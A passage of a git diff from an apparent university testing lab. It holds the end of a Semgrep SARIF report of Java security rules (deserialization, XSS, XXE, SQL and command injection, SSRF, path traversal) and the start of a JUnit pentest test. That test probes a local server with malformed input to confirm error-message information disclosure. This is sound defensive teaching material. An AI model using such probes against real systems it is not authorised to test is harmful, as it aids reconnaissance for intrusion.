+                                "markdown": "JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization)\n - [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities-wp.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities-wp.pdf)\n",
+                                "text": "JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization",
+                            "id": "java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization",
+                            "name": "java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-502: Deserialization of Untrusted Data",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A08:2017 - Insecure Deserialization",
+                                    "OWASP-A08:2021 - Software and Data Integrity Failures",
+                                    "OWASP-A08:2025 - Software or Data Integrity Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization."
+                            },
+                            "help": {
+                                "markdown": "When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization)\n - [https://swapneildash.medium.com/understanding-insecure-implementation-of-jackson-deserialization-7b3d409d2038](https://swapneildash.medium.com/understanding-insecure-implementation-of-jackson-deserialization-7b3d409d2038)\n - [https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062](https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062)\n - [https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/](https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/)\n",
+                                "text": "When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization",
+                            "id": "java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization",
+                            "name": "java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-502: Deserialization of Untrusted Data",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A8:2017 Insecure Deserialization",
+                                    "OWASP-A8:2021 Software and Data Integrity Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'."
+                            },
+                            "help": {
+                                "markdown": "Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n",
+                                "text": "Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss",
+                            "id": "java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss",
+                            "name": "java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A03:2021 - Injection",
+                                    "OWASP-A05:2025 - Injection",
+                                    "OWASP-A07:2017 - Cross-Site Scripting (XSS)",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."
+                            },
+                            "help": {
+                                "markdown": "XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf](https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#xmlinputfactory-a-stax-parser](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#xmlinputfactory-a-stax-parser)\n",
+                                "text": "XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe",
+                            "id": "java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe",
+                            "name": "java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-611: Improper Restriction of XML External Entity Reference",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A02:2025 - Security Misconfiguration",
+                                    "OWASP-A04:2017 - XML External Entities (XXE)",
+                                    "OWASP-A05:2021 - Security Misconfiguration",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."
+                            },
+                            "help": {
+                                "markdown": "Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-sqli.spring-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n",
+                                "text": "Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.spring.security.audit.spring-sqli.spring-sqli",
+                            "id": "java.spring.security.audit.spring-sqli.spring-sqli",
+                            "name": "java.spring.security.audit.spring-sqli.spring-sqli",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A01:2017 - Injection",
+                                    "OWASP-A03:2021 - Injection",
+                                    "OWASP-A05:2025 - Injection",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.spring.security.audit.spring-sqli.spring-sqli"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Application redirects a user to a destination URL specified by a user supplied parameter that is not validated."
+                            },
+                            "help": {
+                                "markdown": "Application redirects a user to a destination URL specified by a user supplied parameter that is not validated.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n",
+                                "text": "Application redirects a user to a destination URL specified by a user supplied parameter that is not validated.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect",
+                            "id": "java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect",
+                            "name": "java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-601: URL Redirection to Untrusted Site ('Open Redirect')",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A01:2021 - Broken Access Control",
+                                    "OWASP-A01:2025 - Broken Access Control",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."
+                            },
+                            "help": {
+                                "markdown": "Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-file-path.tainted-file-path)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n",
+                                "text": "Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.spring.security.injection.tainted-file-path.tainted-file-path",
+                            "id": "java.spring.security.injection.tainted-file-path.tainted-file-path",
+                            "name": "java.spring.security.injection.tainted-file-path.tainted-file-path",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-23: Relative Path Traversal",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A01:2021 - Broken Access Control",
+                                    "OWASP-A01:2025 - Broken Access Control",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.spring.security.injection.tainted-file-path.tainted-file-path"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data."
+                            },
+                            "help": {
+                                "markdown": "Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-html-string.tainted-html-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n",
+                                "text": "Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. You can use the OWASP ESAPI encoder if you must render user data.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.spring.security.injection.tainted-html-string.tainted-html-string",
+                            "id": "java.spring.security.injection.tainted-html-string.tainted-html-string",
+                            "name": "java.spring.security.injection.tainted-html-string.tainted-html-string",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A03:2021 - Injection",
+                                    "OWASP-A05:2025 - Injection",
+                                    "OWASP-A07:2017 - Cross-Site Scripting (XSS)",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.spring.security.injection.tainted-html-string.tainted-html-string"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."
+                            },
+                            "help": {
+                                "markdown": "User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html](https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html)\n",
+                                "text": "User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.spring.security.injection.tainted-sql-string.tainted-sql-string",
+                            "id": "java.spring.security.injection.tainted-sql-string.tainted-sql-string",
+                            "name": "java.spring.security.injection.tainted-sql-string.tainted-sql-string",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A01:2017 - Injection",
+                                    "OWASP-A03:2021 - Injection",
+                                    "OWASP-A05:2025 - Injection",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.spring.security.injection.tainted-sql-string.tainted-sql-string"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands."
+                            },
+                            "help": {
+                                "markdown": "Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-system-command.tainted-system-command)\n - [https://www.stackhawk.com/blog/command-injection-java/](https://www.stackhawk.com/blog/command-injection-java/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n - [https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.java](https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.java)\n",
+                                "text": "Detected user input entering a method which executes a system command. This could result in a command injection vulnerability, which allows an attacker to inject an arbitrary system command onto the server. The attacker could download malware onto or steal data from the server. Instead, use ProcessBuilder, separating the command into individual arguments, like this: `new ProcessBuilder(\"ls\", \"-al\", targetDirectory)`. Further, make sure you hardcode or allowlist the actual command so that attackers can't run arbitrary commands.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.spring.security.injection.tainted-system-command.tainted-system-command",
+                            "id": "java.spring.security.injection.tainted-system-command.tainted-system-command",
+                            "name": "java.spring.security.injection.tainted-system-command.tainted-system-command",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A01:2017 - Injection",
+                                    "OWASP-A03:2021 - Injection",
+                                    "OWASP-A05:2025 - Injection",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.spring.security.injection.tainted-system-command.tainted-system-command"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters."
+                            },
+                            "help": {
+                                "markdown": "User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n",
+                                "text": "User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.spring.security.injection.tainted-url-host.tainted-url-host",
+                            "id": "java.spring.security.injection.tainted-url-host.tainted-url-host",
+                            "name": "java.spring.security.injection.tainted-url-host.tainted-url-host",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-918: Server-Side Request Forgery (SSRF)",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A01:2025 - Broken Access Control",
+                                    "OWASP-A10:2021 - Server-Side Request Forgery (SSRF)",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.spring.security.injection.tainted-url-host.tainted-url-host"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent  over an insecure channel. Instead, it is recommended to send requests over HTTPS."
+                            },
+                            "help": {
+                                "markdown": "Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent  over an insecure channel. Instead, it is recommended to send requests over HTTPS.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection()](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection())\n",
+                                "text": "Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent  over an insecure channel. Instead, it is recommended to send requests over HTTPS.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request",
+                            "id": "problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request",
+                            "name": "problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-319: Cleartext Transmission of Sensitive Information",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request"
+                            }
+                        }
+                    ],
+                    "semanticVersion": "1.157.0"
+                }
+            }
+        }
+    ],
+    "$schema": "https://docs.oasis-open.org/sarif/sarif/v2.1.0/os/schemas/sarif-schema-2.1.0.json"
+}
\ No newline at end of file
diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/InfoDisclosurePentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/InfoDisclosurePentestTest.java
new file mode 100644
index 0000000..8454c2c
--- /dev/null
+++ b/src/test/java/ru/itmo/testing/lab4/pentest/InfoDisclosurePentestTest.java
@@ -0,0 +1,181 @@
+package ru.itmo.testing.lab4.pentest;
+
+import io.javalin.Javalin;
+import org.junit.jupiter.api.*;
+import ru.itmo.testing.lab4.controller.UserAnalyticsController;
+
+import java.net.URI;
+import java.net.URLEncoder;
+import java.net.http.HttpClient;
+import java.net.http.HttpRequest;
+import java.net.http.HttpResponse;
+import java.nio.charset.StandardCharsets;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * =============================================================================
+ * PENTEST-ОТЧЁТ: CWE-209 — Information Disclosure via Error Messages
+ * =============================================================================
+ *
+ * Компонент:   POST /recordSession, GET /exportReport
+ * CWE:         CWE-209 (Generation of Error Message Containing Sensitive Information)
+ * CVSS v3.1:   5.3 (Medium) — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+ * Статус:      CONFIRMED
+ *
+ * ОПИСАНИЕ:
+ *   Эндпоинты возвращают e.getMessage() в HTTP-ответе при ошибках.
+ *   Это раскрывает внутренние детали реализации: имена классов,
+ *   формат данных, пути файловой системы.
+ *
+ * ВЕКТОР АТАКИ:
+ *   1. POST /recordSession?userId=user&loginTime=INVALID&logoutTime=INVALID
+ *   → ответ содержит "Text 'INVALID' could not be parsed at index 0"
+ *
+ * ВЛИЯНИЕ:
+ *   - Раскрытие технологического стека (Java, используемые библиотеки)
+ *   - Помощь атакующему в планировании дальнейших атак
+ *
+ * МЕРЫ ЗАЩИТЫ:
+ *   - Возвращать обобщённые сообщения клиенту
+ *   - Логировать детали на стороне сервера
+ * =============================================================================
+ */
+@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
+class InfoDisclosurePentestTest {
+
+    private static final int TEST_PORT = 7780;
+    private static final String BASE_URL = "http://localhost:" + TEST_PORT;
+
+    private static Javalin app;
+    private static HttpClient http;
+
+    @BeforeAll
+    static void startServer() {
+        app = UserAnalyticsController.createApp();
+        app.start(TEST_PORT);
+        http = HttpClient.newHttpClient();
+        try {
+            send("POST", "/register?userId=info_user&userName=Test");
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    @AfterAll
+    static void stopServer() {
+        app.stop();
+    }
+
+    // -------------------------------------------------------------------------
+    // EXPLOIT: утечка информации через /recordSession
+    // -------------------------------------------------------------------------
+
+    @Test
+    @Order(1)
+    @DisplayName("[EXPLOIT] Некорректный loginTime раскрывает детали парсинга")
+    void invalidLoginTimeLeaksParsingDetails() throws Exception {
+        HttpResponse<String> response = send("POST",
+                "/recordSession?userId=info_user&loginTime=INVALID&logoutTime=2025-01-01T12:00");
+
+        assertEquals(400, response.statusCode());
+
+        String body = response.body();
+        // УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: сообщение об ошибке содержит
+        // детали реализации парсинга (java.time.format)
+        assertTrue(body.contains("Invalid data:"),
+                "Ответ содержит префикс ошибки");
+        assertTrue(body.contains("could not be parsed") || body.contains("Text"),
+                "FAIL (ожидаемое поведение): ответ НЕ должен содержать детали парсинга. " +
